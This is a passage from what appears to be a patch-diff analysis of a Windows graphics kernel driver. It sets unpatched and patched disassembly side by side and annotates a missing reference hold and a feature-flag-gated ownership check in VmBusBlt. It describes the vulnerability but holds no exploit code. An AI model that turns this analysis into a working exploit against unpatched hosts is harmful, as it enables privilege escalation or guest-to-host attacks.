&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C028C755&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="vm"&gt;?&lt;/span&gt;&lt;span class="n"&gt;AddReference&lt;/span&gt;&lt;span class="nv"&gt;@DXGSHAREDVMOBJECT&lt;/span&gt;&lt;span class="nb"&gt;@@QEAAJXZ&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1C0238ED8&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C028C75A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp+r13*8+110h+var_150&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;record&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;later&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;release&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C028C75F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r12+8&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;object&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;without&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reference&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;held&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C028C764&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp+r13*8+110h+var_D0&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C028C769&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;object&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;without&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reference&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;held&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C028C76D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi+r13*4+18h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C028C772&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+210h+var_1E0&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C028C776&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;inc&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C028C778&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+210h+var_1E0&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C028C77C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi+10h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C028C77F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnb&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;loc_1C028C805&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C028C785&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+210h+var_1D8&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C028C78A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;loc_1C028C6D4&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;next&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;handle&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Patched Assembly (Fixed Sequence, 0x1C028C490)&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C028C82C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r8+r12*8&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;look&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;up&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DXGSHAREDVMOBJECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;handle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;table&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C028C830&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C028C833&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C028C8AF&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C028C835&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C028C838&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="vm"&gt;?&lt;/span&gt;&lt;span class="n"&gt;AddReference&lt;/span&gt;&lt;span class="nv"&gt;@DXGSHAREDVMOBJECT&lt;/span&gt;&lt;span class="nb"&gt;@@QEAAJXZ&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1C0238A98&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;no&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;feature&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;gate&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C028C83D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r12+8&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;object&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reference&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;held&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C028C842&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp+r13*8+110h+var_D0&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C028C847&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;object&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reference&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;held&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C028C84B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi+r13*4+18h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C028C850&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+210h+var_1E0&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C028C854&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;inc&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C028C856&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp+r13*8+110h+var_150&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;record&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;later&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;release&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unconditionally&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C028C85B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+210h+var_1E0&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C028C85F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi+10h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C028C862&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnb&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;loc_1C028C8E8&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C028C868&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+210h+var_1D8&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C028C86D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;loc_1C028C7C4&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;next&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;handle&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;DXG_HOST_VIRTUALGPU_VMBUS::VmBusBlt&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Unpatched Assembly (Vulnerable Sequence, 0x1C023D020)&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C023D1E0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Feature_611095865__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C0026B38&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C023D1E5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="n"&gt;A0h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;var_148&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;cont&lt;/span&gt;&lt;span class="n"&gt;ext&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;object&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C023D1EA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C023D1EC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C023D20E&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;disabled&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;skip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ownership&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entirely&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C023D1EE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;10&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r14&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;cont&lt;/span&gt;&lt;span class="n"&gt;ext&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;device&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;vs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;supplied&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;device&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C023D1F2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C023D20E&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;proceed&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C023D1F4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_WdLogNewEntry5_WdError&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mismatch&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reject&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C023D1FB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;nop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;00&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C023D200&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;
